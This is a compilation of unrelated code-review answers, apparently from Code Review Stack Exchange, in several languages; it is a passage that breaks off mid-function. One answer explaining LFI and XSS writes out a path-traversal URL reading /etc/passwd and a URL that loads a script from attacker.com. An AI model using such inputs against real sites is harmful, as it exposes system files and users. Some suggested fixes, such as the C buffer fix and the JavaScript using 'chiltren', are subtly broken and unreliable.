More cases of the same. Also we see down .getPersonnalTaskMacroList() returns the actual field (Because you can sort it outside of the owner class). The collection should be encapsulated.

Since you plan to do nothing if personnalTaskMacroListSize is not greater than 1. say explicitly so. It makes it more readable, and saves you also from Arrow Code.

if (personnalTaskMacroListSize > 1) {

to

if (personnalTaskMacroListSize <= 1) return ;

Dispatch on parameter, is a bad idea:

  if (move == false

  if (move == true

Moreover it is not needed in the first place. Many times user clicks Up or Down, and instead of

  onUpClicked() {
    movePersonnalTaskMacroUp();
  }

  onDownClicked() {
    movePersonnalTaskMacroDown();
  }

We get something like:

  onUpClicked() {
    movePersonnalTaskMacro(true);
  }

  onDownClicked() {
    movePersonnalTaskMacro(false);
  }

Less clear while reading the call site. Less clear while reading the implementation. Hides (some times loses) the users intent in the meantime.

personnalTaskMacro.getSortingOrder
PersonnalTaskMacro.setSortingOrder Why does a Personal Task Macro needs to know in what order it participates in some collection of User Profile. If we decide to have a dozen more different lists of such macros, will we add a dozen more fields to Personal Task Macros. I am guessing this was because of some ORM issue. You had a sort order column in personalTaskMacro table so you had a property in that class. If that is the case you should fix your mapping. If not, why was it?

Collections.sort(userProfileModel.getPersonnalTaskMacroList());

Why do you need to sort if you only swapped two elements of the list. Also as mentioned above collections should be encapsulated. (If you need to have a property so your ORM can access it, make those getter and setter private.)

Here is my suggestion. Main refactorings are Move Method and Replace Parameter with Explicit Methods and Replace Nested Conditional with Guard Clauses. Also DRY the element swapping as suggested by @tomdemuyt.

class UserProfile {
    List<PersonalTask> personalTaskList;
    int selected;

    public void moveSelectedUp() {
        if (personalTaskList.size() <= 1) return;

        if (selected <= 0) return;

        swap(personalTaskList, selected, selected - 1);
        selected--;
    }

    public void moveSelectedDown() {
        if (personalTaskList.size() <= 1) return;

        if (selected >= personalTaskList.size() - 1)  return;

        swap(personalTaskList, selected, selected + 1);
        selected++;
    }

    static <T> void swap(List<T> list, int a, int b) {
        T tmp = list.get(a);
        list.set(a, list.get(b));
        list.set(b, tmp);
    }
}


One thing that makes me cringe is the indentation. It really is off.
I had to look 20 times to that stray brace to realize it isn't closing that if(in_numeric()).

Your casing is inconsistent. You have array() and Array(). Pease, use array() only.

Same goes for $scanned_directory, $blogNumbers, $scanned_directory and $currentBlog.
Pick one style and use it!

Same goes with quotes. You have single-quoted and double-quotes strings everywhere!

Just pick 1 style and use it! (My recommendation goes to single-quotes.)

You have the following line:

if(is_numeric($match["digit"])) array_push($blogNumbers, $match["digit"]);

You should always use braces. Always! There have been serious bugs on iOS for this.

Why do you have a die(); at the end? As soon as the script finishes, it will just exit. No need to have the die(); there.

You have the following line:

$directory = "/var/www/html";

That sounds like a constant. Try something like this:

define('DIRECTORY', '/var/www/html');

Or:

const DIRECTORY = '/var/www/html';

And use it like this:

$scanned_directory = array_diff(scandir(DIRECTORY), array('..', '.'));

Almost at the end, you have this:

$currentBlog = max($blogNumbers);
header('Location: http://www.sunnysideworks.nyc/Simply-Run/blog'.$currentBlog);

After you fix your variables' casing, you can just do like this:

header('Location: http://www.sunnysideworks.nyc/Simply-Run/blog' . max($blog_numbers));

How I would write this:

define('DIRECTORY', '/var/www/html');

$scanned_directory = array_diff(scandir(DIRECTORY), array('..', '.'));

$blog_numbers = array();
foreach($scanned_directory as $file) {
    if(preg_match('/blog(?<digit>[0-9]+)/', $file, $matches)) {
        foreach($matches as $match) {
            //had to put this numeric check in because otherwise
            //script was pushing some 'b's onto array
            if(is_numeric($match['digit'])) {
                array_push($blog_numbers, $match['digit']);
            }
        }
    }
}

header('Location: http://www.sunnysideworks.nyc/Simply-Run/blog' . max($blog_numbers));

Outside this review, that foreach doesn't seem necessary. But I don't know the actual names.


Use CSS to change the background image of an element. It's easy and safe than using css() to change the styles of element from JavaScript. This also keep separation of concerns. Tomorrow, if you want to change the image size, you just have to go to the CSS and update the particular CSS class.

Also, note that the three properties background-image, background-repeat and background-position can be combined into background property.

CSS:

.logo {
    background: url('/onScroll/logo.png') center no-repeat;
}
.blank {
    background: url('/onScroll/blank.png');
}

JavaScript:

$('#content')
    .addClass('logo')       // Add class
    .removeClass('blank');  // Remove class

Wrap the code in IIFE to avoid cluttering global namespace by creating global variables. Also, passing the variables to IIFE will create local alias reducing scope chain operations.

(function ($, document) {
     // CODE HERE
     ...
}(jQuery, document));

Note that jQuery is passed as first parameter and catch-ed in $. Less typing. More readable.
Cache the element references. By doing this, the elements are not needed to be taken from DOM again. Thus improving performance.

// Caching
var $document = $(document),
    $content = $('#content');

Use strict equality operators for comparison. See Which equals operator (== vs ===) should be used in JavaScript comparisons?

if (pastScroll === currentScroll) {

Chaining. jQuery provides feature to chain multiple calls on same elements.

jQuery('#content').css('background-image', 'url("/onScroll/logo.png")');
jQuery('#content').css('background-repeat','no-repeat');
jQuery('#content').css('background-position', 'center');

Instead of this, multiple calls can be chained

jQuery('#content').css('background-image', 'url("/onScroll/logo.png")')
    .css('background-repeat', 'no-repeat')
    .css('background-position', 'center');

OR better, jQuery allows to pass an object to css() where multiple styles can be set in one call.

jQuery('#content').css({
    'background-image': 'url("/onScroll/logo.png")',
    'background-repeat': 'no-repeat',
    'background-position': 'center'
});

Better way is to use CSS classes as explained in #1 above.
Clearing previously set timeouts, if any.

As setTimeout is used, if user keeps scrolling continuously the timeout callback will be executed multiple number of times. This is not really required. You can use clearTimeout to clear previously set timeouts, thus only one timeout will be executed once user has stopped scrolling and 100 ms is passed.

Complete Code:

CSS:

.logo {
    background: url('/onScroll/logo.png') center no-repeat;
}
.blank {
    background: url('/onScroll/blank.png');
}

JavaScript:

// Wrap the code in IIFE
(function ($, document) {
    'use strict';

    // $        = an alias for jQuery
    // document = alias for document object

    // Private variables
    var pastScroll,
        timeout;

    // Caching
    var $document = $(document),
        $content = $('#content');

    $document.scroll(function () {
        var currentScroll = $document.scrollTop();

        // Use strict equality operator
        if (pastScroll === currentScroll) {
            // For multiple method calls on same element, use chaining
            // Use CSS class to set the background image
            $content.addClass('blank').removeClass('logo');
        } else {
            $content.addClass('logo').removeClass('blank');

            pastScroll = currentScroll;

            // Clear previous timeouts
            clearTimeout(timeout);
            timeout = setTimeout(function () {
                if (pastScroll === currentScroll) {
                    $content.addClass('blank').removeClass('logo');
                }
            }, 100);
        }
    });
}(jQuery, document));


For the kills needed part, you are trying to solve this equation:

k{current} + n
--------------  = r
  d{current}

Where r is the target rate and n is the number you're looking for. Some basic algebra:

n = rd - k

For the battles part, you need to solve

k{current} + b * k{battle}            // current kills + additional kills
--------------------------  = r
d{current} + b * d{battle}            // current deaths + additional deaths

k{current} + b * k{battle} = r * (d{current} + b * d{battle})  // multiply both sides by d{current} + b * d{battle}

k{current} + b * k{battle} = r * d{current} + r * b * d{battle})  // just showing multiplication of r

b * (k{battle} - r * d{battle}) = r * d{current} - k{current}  // subtracting terms from each side

     r * d{current} - k{current}
b =  ---------------------------  // dividing by k{battle} - r * d{battle}
     k{battle} - r * d{battle}

In your code above, this becomes

need = Math.ceiling( GoalKD * Deaths - Kills )
battles = Math.ceiling( ( GoalKD * Deaths - Kills ) / (BattleKills - GoalKD * BattleDeaths) )

[I'm not a SmallBasic guy, so please forgive any syntax errors above.]

(Edited to fix math error re battles required and add comments to the math.)


Prioritizing the most important value in an array

In most circumstances it is better to do sorting in your SQL layer

<?php
$sorted_data = $data;
$importance = array_flip(['Jack', 'Bob', 'Boris', 'Josh']);
usort($sorted_data, function ($a, $b) use ($importance) {
  return $importance[$a] <=> $importance[$b];
});
$important_person = reset($sorted_data);

If you need to reuse your code then I suggest:

<?php
function sort_users(array $importance) : Closure {
  return function (string $user_a, string $user_b) use ($importance) : int {
      $a_priority = $importance[$user_a] ?? 0;
      $b_priority = $importance[$user_b] ?? 0;
      return $a_priority <=> $b_priority;
  };
}

$sorted_data = $data;
$importance = array_flip(['Jack', 'Bob', 'Boris', 'Josh']);
usort($sorted_data, sort_users($importance));
$important_person = reset($sorted_data);

Some of the above code can be removed if you can sort the original array, and if $data always contains elements of $importance

I would suggest thinking of a better variable name for $data because it's not obvious what data is, is $first_names better?


Encryption/decryption by matrix multiplication in C

Welcome to Code Review, nice first question!

Perform Error Checking as Soon as Possible
The complexity of the code can be decreased by performing earlier error checking in the function decode_it. If the code was changed so that source_file was tested at the beginning there would be less indentation
and the code would be easier to follow:

void decode_it(char* source_decode ,int* matrice_identity){

    FILE* source_file = NULL;
    source_file = fopen(source_decode, "rb");
    if (source_file == NULL)
    {
        printf("read failed");
        return;
    }

Don't Assume the Buffer has the Necesary Capacity
There is a possible critical error in the following code:

    char* exetention = "d";
    strcat(source_decode, exetention);

The variable source_code may not have enough space allocated to append the extention. This can cause the program to crash, especially when the code is optimized. Allocate a new string with enough space to accept the file name and the extension.

    char* decoded_fname = malloc(strlen(source_decode) + strlen(exetention) + 1);  // leave room for NULL termination
    strcpy(decoded_fname, source_decode);
    strcat(source_decode, exetention);

Reduce Complexity, Follow SRP

The Single Responsibility Principle states that every module or class should have responsibility over a single part of the functionality provided by the software, and that responsibility should be entirely encapsulated by the class. All its services should be narrowly aligned with that responsibility.

Robert C. Martin expresses the principle as follows:

  A class should have only one reason to change.

While this is primarily targeted at classes in object oriented languages it applies to functions and subroutines in procedural languages like C as well.

The decode_it() function can be broken up into smaller functions to make it more readable, and to allow you to profile the program
to see where you are spending the most time.

The following is a good candidate for a function:

            for (j = 0; j<4; j++) {
                for (i = 0; i<8; i++) {
                    if (i == matrice_identity[j]) {
                        result[j] = octet1[i];
                        result[j + 4] = octet2[i];
                    }
                }
            }

Another good candidate for a function is the code

            int k = 0;
            int printFile = 0;
            for (i = 7; i >= 0; i--) {
                printFile += result[i] * (int)pow(2., (double)k);
                k++;
            }

Please note in the previous I cast the result of pow function to int, my compiler gave me a warning message on that line.

Possible Optimizations
Rather than reading the input file character by character input large chunks of data (file block size perferably) into a large
buffer internal to the program and process the buffer instead. Each time fgetc is called it is making a system call which is
expensive(time consuming). Having an input buffer and processing it may help reduce the complexity of the code as well.

For the same reason, create a string output buffer and write it to the file all at once rather than repeatedly calling fprintf().

Using pointers rather than array indexes may also improve performance.


Your findItem function looks good as it takes all the input and return an output.

I think I could just hightlight few points here:

The parameters name

Using array and id is not so helpful. In your example is complicated to find a name for the first parameter as the data is very generic. But is not exactly an array, isn't it?

Rather it is a tree and the findItem is a recursive function.

If you use tree and node instead of item the language is more connected to the real data structure.

Of course findItem became findNode.

I'll suggest you to change id with filter just to have a more abstract concept, if you have to change it in something like a function in the future.

usage of array methods

You are using the some method of the array object, and assign a variable to get the result.
Maybe you can solve the problem using just the find method:

function findNode(tree, filter) {
    return tree.find(function (node) {
        return (node.id === filter) || ((node.children.length) && findNode(node.chiltren, filter))
    })
}

As you see the code is more concise and you don't need assignment anymore.

If you consider to use arrow function it will became even more short:

const findNode = (tree, filter) =>
    (tree.find((node) =>
        (node.id === filter) || ((node.children.length) && findNode(node.chiltren, filter))
    ))

And using a function instead of id comparison:

// This returns a function that filter from a specified id
const findById = (searchId) =>
    (node) => (node.id === searchId)

const findNode = (tree, filter) =>
    (tree.find((node) =>
        filter(node) || ((node.children) && node.chiltren.find(filter))
    ))

// And then you use it so:
const node = findNode(tree, findById(1));

About the move function I think you should change the signature and add the tree object as you had done well for the findItem function.

The big advantage of this is on avoiding issues connected to global variable or renaming variables and so on.

So it became like:

function move (nodeId, destinationId, tree)

I changed itemId in coherence with what I wrote before.

If you use let please continue for variables, and please start to use const to constants, I mean variables that don't need to be reassigned.

So don't use var if you don't have to write code that should be portable on old browsers versions.

I know about hoasting but what is the purpose to do that:

...
let itemToMove, parentItem, destinationItem
itemToMove = findItem(a, itemId)
parentItem = findItem(a, itemToMove.parent)
destinationItem = findItem(a, destinationId)
...

You can just write:

  const itemToMove = findItem(a, itemId)
  const parentItem = findItem(a, itemToMove.parent)
  const destinationItem = findItem(a, destinationId)

Applying the suggestion already provided you can rewrite this lines:

  const nodeToMove = findNode(tree, findById(nodeId))
  const parentNode = findNode(tree, findByParent(nodeToMove))
  const destinationNode = findNode(tree, findById(destinationId))

About the search and remove item in the children array, firstly you should avoid changing data structure, and start to create new version instead.

In this particular case you can change your code as follow:

parentNode.chiltren = parentNode.children
    .filter((node) => (node.id !== nodeToMove.id))

That returns a new array without the selected node.


Minimum element in a sorted rotated array

The same can be achieved in much simpler way using Array.slice and Math.min functions:

var a = [8,1,2,3,4,3,0];

function findMinimum(a, start, end){
    if (a.length < end) {
        throw new Error("Invalid end range boundary!");
    }
    return Math.min.apply(null, a.slice(start, end + 1));
}

console.log(findMinimum(a, 3, 5));  // 3
console.log(findMinimum(a, 0, 2));  // 1
console.log(findMinimum(a, 1, 6));  // 0


Calculating speed from a Pandas Dataframe with Time, X, and Y columns

The code reads good enough and is pretty straightforward; you should consider improving its quality by adding documentation in the form of a docstring explaining what kind of data it expects. Speaking as such, you should extract the I/O part out of the function and have it being fed the required data, for better reusability and testing.

One other thing to note is that you perform the same roll twice on different columns of the same dataframe. You can combine these operations and write the equation in a more ... equationy-ish way:

import pandas as pd
import numpy as np

def calculate_speeds(positions_over_time):
    time = 'Time Elapsed'

    movements_over_timesteps = (
        np.roll(positions_over_time, -1, axis=0)
        - positions_over_time)[:-1]

    speeds = np.sqrt(
        movements_over_timesteps.x ** 2 +
        movements_over_timesteps.y ** 2
    ) / movements_over_timesteps[time]

    return pd.DataFrame({
        time: positions_over_time[time][:-1],
        'Speed': speeds,
    })

if __name__ == '__main__':
    data_df = pd.read_csv(path_to_csv)
    calculate_speeds(data_df)


Append a note to one of three files based on user choice

A couple of points:

You determine the date outside your loop, then loop forever. Every note you make after the first one is going to have the same date stamp.

A better approach would be to collect the date stamp just as you are writing to the file:

datestamp=$(...)
echo "$datestamp: $note" >> ...

When shells were originally written, almost everything was a program. The if statement takes an executable as its conditional element. (If you look, you will find a program named [ in /bin so that if [ ... will work.)

There is a program named true and a program named false. You can run them, and they don't do anything except set their exit codes to appropriate values.

You don't need to write while [ true ]. Instead, just write while true. This is important because while false will do something different from while [ false ]. You may be surprised ...
As @Vogel612 points out, you have duplicated code. I think you should keep the user feedback close to the user entry, so your checking should happen before typing the note. You can use another variable to hold the destination file path:

read -p "What is this note for?
Work
School
Shopping
> " topic
destfile=''
case $topic in
    "Work"     ) destfile="$wsave" ;;
    "School"   ) destfile="$scsave" ;;
    "Shopping" ) destfile="$shsave" ;;
    * ) echo "Error: Selection was not on list, try again.\n" ;;
esac

if [ "$destfile" ]; then
    read -p "\nNote\n> " note
    echo "$date: $note" >> "$destfile"
    echo "Note saved to $destfile"
fi


Personally, when building GUI applications I like to wrap my code into a class, and handle each action into each own method. I'll start from top to bottom.

I don't use wildcard imports. I import the package as "tk", which requires that I prefix all my tkinter commands with tk. This prevents global namespace pollution, plus it makes the code completely obvious when you are using tkinter classes, ttk classes, or some of your own.

So, I'd write the import as:

import tkinter as tk

The main application should be a class. This will give you a private namespace for all your callbacks and private functions (if any), and just generally makes it easier to organize the code. The way you did (procedural style) you have to code top-down, defining functions before using them, etc. With this method you don't, since you don't actually create the main window until the very last step. (as you'll see).

Let's start building our class step by step:

class CountVisitors:
    """
    GUI Application which counts how many visitors enter the building.
    The application prints the count of visitors in the console
    """

I've started by giving our class a name, and writing  just below it a docstring which tells the users what the class is supposed to do.

After we've defined our class, we should initialize some of the components of our application and we're gonna use a constructor, which by convention is the __init__ method:

def __init__(self, master):
    self.master = master

    self.button1 = tk.Button(self.master, text="Count", command=self.count_visitors)
    self.button2 = tk.Button(self.master, text="Exit", command=self.close_window)

    self.button1.pack(side=tk.LEFT)
    self.button2.pack(side=tk.LEFT)

    self.button_clicks = 0

Now, whether or not __init__ is a constructor or not is not our concern here. If you're not familiar with what a constructor it is, well...it's nothing more than a special kind of method that Python calls when it instantiates an object using the definitions found in some class. Basically, Python relies on the constructor to perform tasks such as initializing (assigning values to) any instance variables that the object will need when it starts.

So, in the above code, we've initialized our parent app, our buttons, and the counter that will keep track of the visitors.

Moving forward, I'll create two separate methods which will handle the two actions we'll have in our app:

counting / printing the visitors
closing the application

def count_visitors(self):
    self.button_clicks += 1
    print(self.button_clicks)

def close_window(self):
    self.master.destroy()

If you didn't noticed, it wasn't necessary to force the application to close using exit() (which by the way, is frowned upon) because tkinter has its own way of doing exactly that using the destroy() method.

Now, all you have to do is to create a main() method where you'll instantiate the class and start it:

def main():
    root = tk.Tk()
    CountVisitors(root)
    root.mainloop()

The entire code:

import tkinter as tk

class CountVisitors:
    """
    GUI Application which counts how many visitors enter the building.
    The application prints the count of visitors in the console
    """
    def __init__(self, master):
        self.master = master

        self.button1 = tk.Button(self.master, text="Count", command=self.count_visitors)
        self.button2 = tk.Button(self.master, text="Exit", command=self.close_window)

        self.button1.pack(side=tk.LEFT)
        self.button2.pack(side=tk.LEFT)

        self.button_clicks = 0

    def count_visitors(self):
        self.button_clicks += 1
        print(self.button_clicks)

    def close_window(self):
        self.master.destroy()

def main():
    root = tk.Tk()
    CountVisitors(root)
    root.mainloop()

if __name__ == '__main__':
    main()


JavaScript / jQuery selector value function

In JavaScript you can do this:

var example = someValue || 'fallbackValue';

if someValue does not have a value, example=='fallbackValue', otherwise it'll be whatever value someValue has; You can integrate this in your code.

// You can now replace this:
if($id != '') {
    $("#prodId").empty().append($id);
} else {
    $("#prodId").empty().append('-');
}
// With this:
$("#prodId").empty().append( $(this).data('id') || '-')
// Or just set it directly:
$("#prodId").val( $(this).data('id') || '-')

Resulting in:

submitDelete: function() {

    // projects
    $('button[name="removeProj"]').on('click', function(e){
        e.preventDefault();
        var $form      = $(this).closest('form'); // closest parent form

        $("#prodId").val(        $(this).data('id') || '-');
        $("#prodTitle").val(     $(this).data('title') || '-');
        $("#prodCreatedAt").val( $(this).data('created-at') || '-');
        $("#prodUpdatedAt").val( $(this).data('updated-at') || '-');

        $('#confirm').modal({ backdrop: 'static', keyboard: false })
        $('#delete').click(function() {
            $form.trigger('submit'); // submit the form
        });
    });
}

*Instead of .val() you can use .text() or .html() to set the values of other types of elements like divs.


This is mostly nitpicks, there really isn't anything blatantly wrong with your code. Good work!

In util.js, getRandomElement could use getRandomIntInRange - since it isn't used anywhere else, if getRandomElement doesn't use it, it should be dropped.
Avoid unnecessary mixing of let and const. Both nonBadWordsIndices and replaceIndex are not reassigned but for some reason let is used instead of const while you use const elsewhere. (Also in util.js and rhymeApi.js)
What should happen if the empty string is passed as your phrase? I suspect current behavior isn't desired.
Swallowing errors is bad 99% of the time. Libraries that swallow errors make logging errors to be able to quickly discover the problem and fix it much more difficult.
It may not be required for this use case, but when building URLs, you should always use encodeURI or encodeURIComponent as required to avoid problems like trying to get rhymes for words containing &. This is especially important if it is to be used in a web application.

The following points are more my personal preference than objectively wrong.

If supported by your environment, prefer destructuring to Object.assign. (Also, why is the /words?rel_rhy= appended here instead of being stored in the options object? There might be a good reason, but it's something to consider)

let getRhyme = (word) => {
    return rp({
        ...options,
        uri: options.uri + '/words?rel_rhy=' + encodeURIComponent(word)
    })
}

Async functions are great! Use them instead of explicitly using promises if possible.
isPunctuated would be more clearly defined with /[a-z]$/i.test(wordToBePunned), similarly, isCapitalized could be defined as /^[A-Z]/.test(wordToBePunned) These also seem like great utility methods to me, I would likely move them to a utils file if they are used anywhere else in your codebase - and maybe even if they aren't to ensure that if you need them anywhere else you don't end up forgetting you already did the work and rewriting them.
If isAllCaps is true, then isCapitalized must also be true, I would prefer to check isCapitalized only if isAllCaps is false when modifying the returned word.
Avoid double negatives, it makes code not non-harder to read. nonBadWordsIndices is equivalent to goodWordsIndices


Calculation of an inflation on volume/year

Here is what I would do if I were you:

Sub Main()
    Dim b12_value As Double
    Dim inflation As Double

    'Seed the inflation variable and store the static B12 value
    inflation = 1
    b12_value = Range("$B$12").value

    'Loop through each cell in D6:L6 and calculate its value.
    For Each cell In Range("D6:L6")
        inflation = inflation * (Cells(8, cell.Column).Value + 1)
        cell.Value = -b12_value * Cells(4, cell.Column).Value * inflation
    Next

End Sub

Since you are concerned about number of lines, I chose not to store the volume for each calulation in its own variable (which I would prefer to do as it makes for more readable code).

The solution is only 1 line longer than your original solution and it does not rely on string concatenation (which is slow). It also simply does the formula work itself instead of setting the cell's value instead of setting the formula then having Excel calculate the value from said formula.

NOTE: If you wanted the formula visible in Excel (instead of just its value), I would think your original solution (with a couple tweaks) is sufficient for you needs:

Sub Main()
    'Use a more descriptive variable name than "s". Descriptive names improve
    'readability and better facilitates user understanding.
    Dim inflation_string as String

    'Using the for each syntax creates more readable code. Plus, as a bonus,
    'it removed the use of the index variable i.
    For Each cell In Range("D6:L6")
        inflation_string = inflation_string + "*(" + Cells(8, cell.Column).Address + "+1)"
        cell.Formula = "=-$B$12*" + Cells(4, cell.Column).Address + inflation_string
    Next

End Sub


Calculate your total happiness, which depends on the integers in the given sets

As pointed out in the comments by both MrVajid and AJNeufeld, the previous solution (now deleted because it is actually irrelevant now; see post history) actually did not work.
This is because in reality, the task requires the input array to not be a set, aka it should be allowed to have duplicate entries.

In fact, I had solved that challenge successfully a while ago, using:

n, m = [int(x) for x in input().split()]

array = [int(x) for x in input().split()]
A = {int(x) for x in input().split()}
B = {int(x) for x in input().split()}

happiness = 0

for value in array:
    change = 1 if value in A else -1 if value in B else 0
    happiness += change

print(happiness)

This is using set comprehension ({ }) and passes just fine on HackerRank.

Iteration over the input array as a list is still \$O(n)\$, see here, but containment checks for sets is constant time, \$O(1)\$. Previously, with \$A\$ and \$B\$ being lists, this was also linear as \$O(m)\$, leading to \$O(n*m)\$ aka quadratic time complexity.

Since this task on HackerRank is specifically about set usage, it will judge pedantically about time complexity, with only the approach using sets not running into timeout errors.

Notice that your solution also has an error apart from the set one.
You check for containment in happy_set and decrement happy for a negative result.
However, you first need to check for containment in sad_set first.
Otherwise, you are much sadder than required.


surely you can just use std::function<void()> instead of templating on the function type?
capturing by reference can go horribly wrong. It's not a bug in your library, just an observation ...

tthread::thread* startthread(size_t a, size_t b)
{
    return lthread::new_thread([&] ()
        {
            std::cout << "I'm in a thread!\n";
            std::cout << "'a' is " << a << std::endl;
            b = 1;
        }
        );
}

int main()
{
    tthread::thread *t = startthread(1,2);
    t->join();
    delete t;
}

use_function_once is vulnerable to the function call throwing an exception: you should probably assign it to a smart pointer before calling, and lose the explicit delete.
that overload of new_thread also has a problem if either new or tthread::thread can throw: it will leak the heap-allocated Func. You can fix this with a smart pointer too.


Comparing a selected attribute of a color with a given value

You can greatly improve it by staring with proper names.

The first enum is actaully a comparison type so name it like so:

public enum ComparisonType
{
    LowerThen = -1,
    Equal = 0,
    GreaterThen = 1,
}

The second enum is a list of color properties but you are allowed to use only one property at a time so your enum should not have a plural name. Let it be ColorProperty:

public enum ColorProperty
{
    R, G, B, Yellow, Violett, Turquoise, Sum, Average, Intensity
}

Calling your methods simply Process isn't good because it doesn't tell the user anything about what it does. Virtually every method processes something so the current name is too general. Think for a while... what does it do? It compares properties of a color with some value so how about IsProperty? Ok, but where is the color part? It's not necessary because will make it an extension of the color so the usage will be clear when used in context.

After applying these changes your method should look like this:

public static bool IsProperty(this Color color, ColorProperty colorProperty, ComparisonType comparisonType, float value)
{
    var colorPropertyGetters = new Dictionary<ColorProperty, Func<Color, int>>
    {
        [Color.R] = c => c.R,
        // ...
        [Color.Average] = c => c.Average(),
    };

    return value.CompareTo(colorPropertyGetters[colorProperty](color)) == (int)comparisonType;
}

Notice that I've also removed all the ifs and replaced them with a dictionary of Funcs that get the property to be comapared.

Now when you use it with a color there is no doubt what is going on here:

var result = color.IsProperty(ColorProperty.Yellow, ComparisonType.Equal, 5);

or

var result = color.IsProperty(ColorProperty.Average, ComparisonType.GreaterThen, 90);

Adjusting the arguments to be in a very specific order and the names for the enum values make the method call read very natural and similar to normal speech.


Simple application to look up items in a list

First, I'm going to show you some interesting points.

1. The callstack

You're calling some methods recursively. A recursive method calls itself. See in SearchChecker() and Exit() where those methods call themselves, eg. SearchChecker() calls SearchChecker() again and Exit() calls Exit() again.

What will happen if you call it recursively? See the callstack. The picture below shows what happens when I repeatly entering wrong items. I put a break point in the line where it prints "item name not valid". I marked the callstack in a red box. See it repeatedly calling SearchChecker(). Same thing happens in second picture when Exit() is calling itself recursively by entering wrong answer (yes/no).

2. A bug when you're trying to exit the program because of recursion

This only happens if you do what I did in number 1. Add 2 lines in the Main method so it looks like:

public static void Main()
{
    Console.Write("Please Enter Your Name: ");
    Name = Console.ReadLine();
    SearchBarStart(Name);
    Console.WriteLine("Press any key...");
    Console.ReadKey(true);
}

Try these steps:

Enter name
When asked what items you want, repeat wrong answer 2 times, eg. entering "z" 2 times
Enter a correct item in the 3rd attempt, eg. "Ball"
Program shows the item information.
When asked if you want to continue, choose "no"
When asked if you are sure, choose "yes"
You're asked to press enter again. Press enter.
Program should exit, but it asked if you would like to continue again. Do step 5 till 7 till the program exits.

This bug happens because of the callstack. Your program entry point is Main() method, so it ends when Main() reaches its last line. But the callstack is long (see pic #1 and #2) and it should exit each callstack before reaching back to Main().

Here's what I did to improve your code. I add some comments to make it clearer. The idea is to make each method only do a specific task. SeachCheckerStart() is the main loop for asking items, SearchChecker() is for asking and displaying item, getUserItem() is for retrieving item, printItem() is for printing item info, getChoices() is for getting choice from user, getContinue() and getConfirmExit() are for asking if user wants to continue and confirm if they want to exit.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;

class Program
{
    public static string Name { get; set; }

    public static void Main()
    {
        // get user name
        Console.Write("Please Enter Your Name: ");
        Name = Console.ReadLine();
        Console.WriteLine("Welcome, {0}", Name);
        Thread.Sleep(1000);

        bool userConfirmExit;
        do
        {
            SeachCheckerStart();

            userConfirmExit = getConfirmExit(); // get user confirmation to exit
            if (!userConfirmExit)
            {
                Console.WriteLine("Welcome back, {0}", Name);
                Thread.Sleep(1000);
            }
        } while (!userConfirmExit); // repeat what's inside this until user confirmed that they want to end the program

        Console.WriteLine("Press enter again to exit");
        Console.ReadLine();

        Console.WriteLine("Press any key...");
        Console.ReadKey(true);
    }

    public static void SeachCheckerStart()
    {
        bool userContinue;
        do
        {
            SearchChecker(); // start search
            userContinue = getContinue(); // ask if user wants to continue
        } while (userContinue); // repeat this process as long as user chooses "yes"
    }

    public static void SearchChecker()
    {
        Item item = null;
        do
        {
            item = getUserItem(); // get item from user, return null if item is not valid
        } while (item == null); // repeat until user asks a valid item

        printItem(item); // show item info
    }

    public static Item getUserItem()
    {
        var items = new List<Item> // initialize the List<Item>
        {
            new Item { Name = "Ball", Price = 100.001F, Popularity = 1 },
            new Item { Name = "Book", Price = 210.1F, Popularity = 5 },
            new Item { Name = "Bag", Price = 300F, Popularity = 4 }
        };

        Console.Write("Please enter which item would you like to view: ");
        string userItemChoice = string.Empty;
        userItemChoice = Console.ReadLine();
        var item = items.Find(i => i.Name == userItemChoice);
        if (item == null)
        {
            Console.WriteLine("Item name not valid");
        }
        return item;
    }

    public static void printItem(Item item)
    {
        Console.WriteLine("Item Name: {0}\n" +
                "Item Price: {1:C}\n" +
                "Item Popularity Hits: {2}\n",
                item.Name, item.Price, item.Popularity);
    }

    public static string getChoices(string message, params string[] choices)
    {
        string choice = null;
        do
        {
            Console.WriteLine(message);
            choice = Console.ReadLine().ToLower();
            if (!choices.Contains(choice)) // if choice is not in choices
            {
                Console.WriteLine("Sorry, I don't recognize {0}\n", choice);
            }
        } while (!choices.Contains(choice)); // repeat if choice is not in choices
        return choice;
    }

    public static bool getContinue()
    {
        var choice = getChoices("Would you like to continue? (yes/no)", "yes", "no"); // ask if user wants to continue
        if (choice == "yes")
            return true; // return true if user wants to continue
        else
            return false; // return false if user does not want to continue
    }

    public static bool getConfirmExit()
    {
        var choice = getChoices("Are you sure? (yes/no)", "yes", "no"); // get confirmation if user wants to exit
        if (choice == "yes")
            return true; // return true if user confirms that they want to exit
        else
            return false; // return false if user does not confirms that they want to exit
    }
}

class Item
{
    public string Name { get; set; }
    public float Price { get; set; }
    public int Popularity { get; set; }
}

This time the callstack is clean. See the red box in these 2 pics.

The bug in #2 won't happen because the callstack is clean.


Your code is vulnerable to LFI and XSS.

http://localhost/yourscript.php?url=../../../../../../etc/passwd

This would load the local file /etc/passwd and display it.

http://localhost/yourscript.php?url=http://attacker.com/xss.php

This would load and display the remote file xss.php, which would lead to XSS.

For better solutions, see eg here. When outputting images, you should use the image output functions such as imagejpeg, not generic file loading functions.


Is My Function to Find Triplets in Scala running in O(N^2)

I have a few issues with the posted code. We'll start with the trivial.
Code posted on Code Review should be complete. You forgot to include the necessary import to make this compile.
val target = 0 - I find this somewhat redundant. If target isn't zero then you also need to change the name of the method. On the other hand, we're not supposed to bury "magic numbers" in our code, so it's debatable.
But the real problem here is that you're writing imperative code in a functional language. You've written C code in Scala.
Imperative : Create an empty mutable collection. Run code with a side-effect of filling the collection. Return the collection.
Functional : Start with one or more populated collections. Filter, collect, and transform them, without mutation, into the resulting collection.
Here's an implementation that's similar in that the i index starts at zero, the j index starts at i+1, and the k index searches the remaining space for the result.
def zeroSumTriples(input: Array[Int]): Array[Array[Int]] = {
  val sortedInput = input.sorted

  sortedInput.takeWhile(_ < 1).indices.flatMap{ i =>
    (i+1).until(input.length-1).flatMap{ j =>
      val (a, b) = (sortedInput(i), sortedInput(j))
      Iterator.from(j+1).take(input.length-j-1)
              .dropWhile(a + b + sortedInput(_) < 0)
              .takeWhile(a + b + sortedInput(_) == 0)
              .map(k => Array(a, b, sortedInput(k)))
    }
  }
}.toArray


Python requests downloading big files in slower speed than wget

By using time.sleep(1) on get_net_speed you are limiting your download speed to the block size per second, since your block has 1MB you are limited to 1Mbps.


Project Euler # 19 Counting Sundays in Python

whole algorithmic change => \$O(n)\$

Your existing algorithm is quite confusing. Perhaps instead you could try a simpler structure such as:

from datetime import date

def num_sundays_on_first_of_month(year1, year2):
  num_sundays = 0
